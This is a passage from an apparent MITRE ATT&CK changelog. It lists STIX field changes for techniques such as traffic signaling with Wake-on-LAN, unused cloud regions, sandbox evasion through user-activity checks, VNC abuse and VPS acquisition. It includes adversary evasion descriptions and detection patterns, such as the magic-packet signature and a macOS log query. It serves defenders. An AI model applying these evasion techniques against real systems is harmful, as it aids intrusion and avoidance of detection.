to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet) |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN) |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'} | |
| external_references | {'source_name': 'AMD Magic Packet', 'description': 'AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.', 'url': 'https://www.amd.com/system/files/TechDocs/20213.pdf'} | |
| external_references | {'source_name': 'GitLab WakeOnLAN', 'description': 'Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.', 'url': 'https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN'} | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:43:44.256000+00:00 | 2021-03-08 10:33:01.280000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Snapshot: Snapshot Creation |
| x_mitre_data_sources[1] | Azure activity logs | Snapshot: Snapshot Modification |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Cloud Storage: Cloud Storage Modification |
| x_mitre_platforms[0] | Azure | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Cloud Storage: Cloud Storage Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-15 16:55:44.483000+00:00 | 2021-07-26 22:34:43.261000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 19:39:36.109000+00:00 | 2021-04-12 18:32:33.620000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Command: Command Execution |
| x_mitre_data_sources[1] | Authentication logs | File: File Access |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_data_sources[3] | Windows event logs | User Account: User Account Authentication |
| x_mitre_data_sources[4] | File monitoring | Windows Registry: Windows Registry Key Access |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create cloud instances in unused geographic | t | 1 | Adversaries may create cloud instances in unused geographic |
| > | service regions in order to evade detection. Access is usual | > | service regions in order to evade detection. Access is usual | ||
| > | ly obtained through compromising accounts used to manage clo | > | ly obtained through compromising accounts used to manage clo | ||
| > | ud infrastructure. Cloud service providers often provide in | > | ud infrastructure. Cloud service providers often provide in | ||
| > | frastructure throughout the world in order to improve perfor | > | frastructure throughout the world in order to improve perfor | ||
| > | mance, provide redundancy, and allow customers to meet compl | > | mance, provide redundancy, and allow customers to meet compl | ||
| > | iance requirements. Oftentimes, a customer will only use a s | > | iance requirements. Oftentimes, a customer will only use a s | ||
| > | ubset of the available regions and may not actively monitor | > | ubset of the available regions and may not actively monitor | ||
| > | other regions. If an adversary creates resources in an unuse | > | other regions. If an adversary creates resources in an unuse | ||
| > | d region, they may be able to operate undetected. A variati | > | d region, they may be able to operate undetected. A variati | ||
| > | on on this behavior takes advantage of differences in functi | > | on on this behavior takes advantage of differences in functi | ||
| > | onality across cloud regions. An adversary could utilize reg | > | onality across cloud regions. An adversary could utilize reg | ||
| > | ions which do not support advanced detection services in ord | > | ions which do not support advanced detection services in ord | ||
| > | er to avoid detection of their activity. For example, AWS Gu | > | er to avoid detection of their activity. An example of adve | ||
| > | ardDuty is not supported in every region.(Citation: AWS Regi | > | rsary use of unused AWS regions is to mine cryptocurrency th | ||
| > | on Service Table) An example of adversary use of unused AWS | > | rough [Resource Hijacking](https://attack.mitre.org/techniqu | ||
| > | regions is to mine cryptocurrency through [Resource Hijacki | > | es/T1496), which can cost organizations substantial amounts | ||
| > | ng](https://attack.mitre.org/techniques/T1496), which can co | > | of money over time depending on the processing power used.(C | ||
| > | st organizations substantial amounts of money over time depe | > | itation: CloudSploit - Unused AWS Regions) | ||
| > | nding on the processing power used.(Citation: CloudSploit - | ||||
| > | Unused AWS Regions) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:17:44.563000+00:00 | 2021-04-22 16:46:43.876000+00:00 |
| description | Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table) An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions) | Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions) |
| external_references[1]['source_name'] | AWS Region Service Table | CloudSploit - Unused AWS Regions |
| external_references[1]['description'] | Amazon. (2019, October 22). Region Table. Retrieved October 22, 2019. | CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019. |
| external_references[1]['url'] | https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/ | https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Creation |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'} | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various user activity checks to detec | t | 1 | Adversaries may employ various user activity checks to detec |
| > | t and avoid virtualization and analysis environments. This m | > | t and avoid virtualization and analysis environments. This m | ||
| > | ay include changing behaviors based on the results of checks | > | ay include changing behaviors based on the results of checks | ||
| > | for the presence of artifacts indicative of a virtual machi | > | for the presence of artifacts indicative of a virtual machi | ||
| > | ne environment (VME) or sandbox. If the adversary detects a | > | ne environment (VME) or sandbox. If the adversary detects a | ||
| > | VME, they may alter their malware to disengage from the vict | > | VME, they may alter their malware to disengage from the vict | ||
| > | im or conceal the core functions of the implant. They may al | > | im or conceal the core functions of the implant. They may al | ||
| > | so search for VME artifacts before dropping secondary or add | > | so search for VME artifacts before dropping secondary or add | ||
| > | itional payloads. Adversaries may use the information learne | > | itional payloads. Adversaries may use the information learne | ||
| > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | ||
| > | .org/techniques/T1497) during automated discovery to shape f | > | .org/techniques/T1497) during automated discovery to shape f | ||
| > | ollow-on behaviors. Adversaries may search for user activi | > | ollow-on behaviors.(Citation: Deloitte Environment Awareness | ||
| > | ty on the host based on variables such as the speed/frequenc | > | ) Adversaries may search for user activity on the host base | ||
| > | y of mouse movements and clicks (Citation: Sans Virtual Jan | > | d on variables such as the speed/frequency of mouse movement | ||
| > | 2016) , browser history, cache, bookmarks, or number of file | > | s and clicks (Citation: Sans Virtual Jan 2016) , browser his | ||
| > | s in common directories such as home or the desktop. Other m | > | tory, cache, bookmarks, or number of files in common directo | ||
| > | ethods may rely on specific user interaction with the system | > | ries such as home or the desktop. Other methods may rely on | ||
| > | before the malicious code is activated, such as waiting for | > | specific user interaction with the system before the malicio | ||
| > | a document to close before activating a macro (Citation: Un | > | us code is activated, such as waiting for a document to clos | ||
| > | it 42 Sofacy Nov 2018) or waiting for a user to double click | > | e before activating a macro (Citation: Unit 42 Sofacy Nov 20 | ||
| > | on an embedded image to activate.(Citation: FireEye FIN7 Ap | > | 18) or waiting for a user to double click on an embedded ima | ||
| > | ril 2017) | > | ge to activate.(Citation: FireEye FIN7 April 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.491000+00:00 | 2021-10-18 14:57:48.362000+00:00 |
| description | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) |
| external_references[1]['source_name'] | Sans Virtual Jan 2016 | Deloitte Environment Awareness |
| external_references[1]['description'] | Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| external_references[2]['source_name'] | Unit 42 Sofacy Nov 2018 | Sans Virtual Jan 2016 |
| external_references[2]['description'] | Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. | Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ | https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 |
| external_references[3]['source_name'] | FireEye FIN7 April 2017 | Unit 42 Sofacy Nov 2018 |
| external_references[3]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process use of network | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'} | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 11:31:50.407000+00:00 | 2021-10-15 14:02:07.944000+00:00 |
| x_mitre_contributors[0] | Rick Cole, FireEye | Rick Cole, Mandiant |
| x_mitre_data_sources[0] | Process monitoring | Script: Script Execution |
| x_mitre_data_sources[1] | File monitoring | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to remotely control machines using Virtu | > | g/techniques/T1078) to remotely control machines using Virtu | ||
| > | al Network Computing (VNC). The adversary may then perform a | > | al Network Computing (VNC). VNC is a platform-independent d | ||
| > | ctions as the logged-on user. VNC is a desktop sharing syst | > | esktop sharing system that uses the RFB (“remote framebuffer | ||
| > | em that allows users to remotely control another computer’s | > | ”) protocol to enable users to remotely control another comp | ||
| > | display by relaying mouse and keyboard inputs over the netwo | > | uter’s display by relaying the screen, mouse, and keyboard i | ||
| > | rk. VNC does not necessarily use standard user credentials. | > | nputs over the network.(Citation: The Remote Framebuffer Pro | ||
| > | Instead, a VNC client and server may be configured with sets | > | tocol) VNC differs from [Remote Desktop Protocol](https://a | ||
| > | of credentials that are used only for VNC connections. | > | ttack.mitre.org/techniques/T1021/001) as VNC is screen-shari | ||
| > | ng software rather than resource-sharing software. By defaul | ||||
| > | t, VNC uses the system's authentication, but it can be confi | ||||
| > | gured to use credentials specific to VNC.(Citation: MacOS VN | ||||
| > | C software for Remote Desktop)(Citation: VNC Authentication) | ||||
| > | Adversaries may abuse VNC to perform malicious actions as | ||||
| > | the logged-on user such as opening documents, downloading fi | ||||
| > | les, and running arbitrary commands. An adversary could use | ||||
| > | VNC to remotely control and monitor a system to collect data | ||||
| > | and information to pivot to other systems within the networ | ||||
| > | k. Specific VNC libraries/implementations have also been sus | ||||
| > | ceptible to brute force attacks and memory usage exploitatio | ||||
| > | n.(Citation: Hijacking VNC)(Citation: macOS root VNC login w | ||||
| > | ithout authentication)(Citation: VNC Vulnerabilities)(Citati | ||||
| > | on: Offensive Security VNC Authentication Check)(Citation: A | ||||
| > | ttacking VNC Servers PentestLab)(Citation: Havana authentica | ||||
| > | tion bug) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 20:41:21.147000+00:00 | 2021-10-07 22:14:25.528000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user. VNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections. | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug) |
| x_mitre_data_sources[0] | Process use of network | Process: Process Creation |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Logon Session: Logon Session Creation |
| x_mitre_detection | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC. | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.
On macOS systems log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'The Remote Framebuffer Protocol', 'description': 'T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.', 'url': 'https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2'} | |
| external_references | {'source_name': 'MacOS VNC software for Remote Desktop', 'description': 'Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.', 'url': 'https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac'} | |
| external_references | {'source_name': 'VNC Authentication', 'description': 'Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.', 'url': 'https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication'} | |
| external_references | {'source_name': 'Hijacking VNC', 'description': 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.', 'url': 'https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc'} | |
| external_references | {'source_name': 'macOS root VNC login without authentication', 'description': 'Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.', 'url': 'https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication'} | |
| external_references | {'source_name': 'VNC Vulnerabilities', 'description': 'Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/'} | |
| external_references | {'source_name': 'Offensive Security VNC Authentication Check', 'description': 'Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.', 'url': 'https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/'} | |
| external_references | {'source_name': 'Attacking VNC Servers PentestLab', 'description': 'Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.', 'url': 'https://pentestlab.blog/2012/10/30/attacking-vnc-servers/'} | |
| external_references | {'source_name': 'Havana authentication bug', 'description': 'Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.', 'url': 'http://lists.openstack.org/pipermail/openstack/2013-December/004138.html'} | |
| external_references | {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'} | |
| external_references | {'source_name': 'Gnome Remote Desktop grd-settings', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207'} | |
| external_references | {'source_name': 'Gnome Remote Desktop gschema', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may rent Virtual P | t | 1 | Adversaries may rent Virtual Private Servers (VPSs) that can |
| > | rivate Servers (VPSs) that can be used during targeting. The | > | be used during targeting. There exist a variety of cloud se | ||
| > | re exist a variety of cloud service providers that will sell | > | rvice providers that will sell virtual machines/containers a | ||
| > | virtual machines/containers as a service. By utilizing a VP | > | s a service. By utilizing a VPS, adversaries can make it dif | ||
| > | S, adversaries can make it difficult to physically tie back | > | ficult to physically tie back operations to them. The use of | ||
| > | operations to them. The use of cloud infrastructure can also | > | cloud infrastructure can also make it easier for adversarie | ||
| > | make it easier for adversaries to rapidly provision, modify | > | s to rapidly provision, modify, and shut down their infrastr | ||
| > | , and shut down their infrastructure. Acquiring a VPS for u | > | ucture. Acquiring a VPS for use in later stages of the adve | ||
| > | se in later stages of the adversary lifecycle, such as Comma | > | rsary lifecycle, such as Command and Control, can allow adve | ||
| > | nd and Control, can allow adversaries to benefit from the ub | > | rsaries to benefit from the ubiquity and trust associated wi | ||
| > | iquity and trust associated with higher reputation cloud ser | > | th higher reputation cloud service providers. Adversaries ma | ||
| > | vice providers. Adversaries may also acquire infrastructure | > | y also acquire infrastructure from VPS service providers tha | ||
| > | from VPS service providers that are known for renting VPSs w | > | t are known for renting VPSs with minimal registration infor | ||
| > | ith minimal registration information, allowing for more anon | > | mation, allowing for more anonymous acquisitions of infrastr | ||
| > | ymous acquisitions of infrastructure.(Citation: TrendmicroHi | > | ucture.(Citation: TrendmicroHideoutsLease) | ||
| > | deoutsLease) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:58:32.476000+00:00 | 2021-10-17 15:36:59.315000+00:00 |
| description | Before compromising a victim, adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) | Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party Virtual Private Serve |
| > | rd-party Virtual Private Servers (VPSs) that can be used dur | > | rs (VPSs) that can be used during targeting. There exist a v | ||
| > | ing targeting. There exist a variety of cloud service provid | > | ariety of cloud service providers that will sell virtual mac | ||
| > | ers that will sell virtual machines/containers as a service. | > | hines/containers as a service. Adversaries may compromise VP | ||
| > | Adversaries may compromise VPSs purchased by third-party en | > | Ss purchased by third-party entities. By compromising a VPS | ||
| > | tities. By compromising a VPS to use as infrastructure, adve | > | to use as infrastructure, adversaries can make it difficult | ||
| > | rsaries can make it difficult to physically tie back operati | > | to physically tie back operations to themselves.(Citation: N | ||
| > | ons to themselves.(Citation: NSA NCSC Turla OilRig) Comprom | > | SA NCSC Turla OilRig) Compromising a VPS for use in later s | ||
| > | ising a VPS for use in later stages of the adversary lifecyc | > | tages of the adversary lifecycle, such as Command and Contro | ||
